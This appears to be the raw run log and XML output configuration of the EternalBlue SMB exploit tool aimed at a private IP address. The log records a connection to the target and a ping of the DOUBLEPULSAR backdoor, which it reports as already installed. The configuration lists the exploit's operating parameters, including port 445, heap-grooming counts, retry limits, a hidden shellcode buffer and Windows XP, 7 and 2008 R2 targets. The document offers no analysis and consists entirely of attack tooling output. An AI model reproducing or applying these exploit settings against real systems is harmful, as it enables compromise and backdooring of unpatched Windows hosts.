[*] Connecting to target for exploitation.
    [+] Connection established for exploitation.
[*] Pinging backdoor...
    [+] Backdoor returned code: 10 - Success!
    [+] Ping returned Target architecture: x86 (32-bit)
    [+] Backdoor is already installed -- nothing to be done.
[*] CORE sent serialized output blob (2 bytes):
0x00000000  08 01                                            ..
[*] Received output parameters from CORE
[+] CORE terminated with status code 0x00000000
<config xmlns="urn:trch" id="0f38f55b6a88feccfb846d3d10ab4687e652e63e" configversion="2.2.0.0" name="Eternalblue" version="2.2.0" schemaversion="2.1.0">
  <inputparameters>
    <parameter name="DaveProxyPort" description="DAVE Core/Proxy Hookup connection port" type="TcpPort" format="Scalar" hidden="true" valid="true">
      <default>0</default>
      <value>0</value>
    </parameter>
    <parameter name="NetworkTimeout" description="Timeout for blocking network calls (in seconds). Use -1 for no timeout." type="S16" format="Scalar" valid="true">
      <default>60</default>
      <value>60</value>
    </parameter>
    <parameter name="TargetIp" description="Target IP Address" type="IPv4" format="Scalar" valid="true">
      <value>192.168.15.48</value>
    </parameter>
    <parameter name="TargetPort" description="Port used by the SMB service for exploit connection" type="TcpPort" format="Scalar" valid="true">
      <default>445</default>
      <value>445</value>
    </parameter>
    <parameter name="VerifyTarget" description="Validate the SMB string from target against the target selected before exploitation." type="Boolean" format="Scalar" valid="true">
      <default>true</default>
      <value>true</value>
    </parameter>
    <parameter name="VerifyBackdoor" description="Validate the presence of the DOUBLE PULSAR backdoor before throwing. This option must be enabled for multiple exploit attempts." type="Boolean" format="Scalar" valid="true">
      <default>true</default>
      <value>true</value>
    </parameter>
    <parameter name="MaxExploitAttempts" description="Number of times to attempt the exploit and groom. Disabled for XP/2K3." type="U32" format="Scalar" valid="true">
      <default>3</default>
      <value>3</value>
    </parameter>
    <parameter name="GroomAllocations" description="Number of large SMBv2 buffers (Vista+) or SessionSetup allocations (XK/2K3) to do." type="U32" format="Scalar" valid="true">
      <default>12</default>
      <value>12</value>
    </parameter>
    <parameter name="ShellcodeBuffer" description="Shellcode buffer in hex (hint: use 'F:&lt;FILENAME&gt;' to load from file)" type="Buffer" format="Scalar" hidden="true" required="false"></parameter>
    <parameter name="LogFile" description="Where to write log file" type="String" format="Scalar" required="false"></parameter>
    <parameter name="OutConfig" description="Where to write output parameters file" type="String" format="Scalar" valid="true">
      <default>stdout</default>
      <value>stdout</value>
    </parameter>
    <parameter name="ValidateOnly" description="Stop execution after parameter validation" type="Boolean" format="Scalar" valid="true">
      <default>false</default>
      <value>false</value>
    </parameter>
    <paramchoice name="Target" description="Operating System, Service Pack, and Architecture of target OS">
      <value>WIN72K8R2</value>
      <paramgroup name="XP" description="Windows XP 32-Bit All Service Packs"></paramgroup>
      <paramgroup name="WIN72K8R2" description="Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs"></paramgroup>
    </paramchoice>
  </inputparameters>
  <outputparameters>
    <parameter name="DoublePulsarPresent" description="Set to true if the DOUBLEPULSAR backdoor was already installed and the exploit did not have to be thrown" type="Boolean" format="Scalar" valid="true">
      <value>true</value>
    </parameter>
  </outputparameters>
</config>
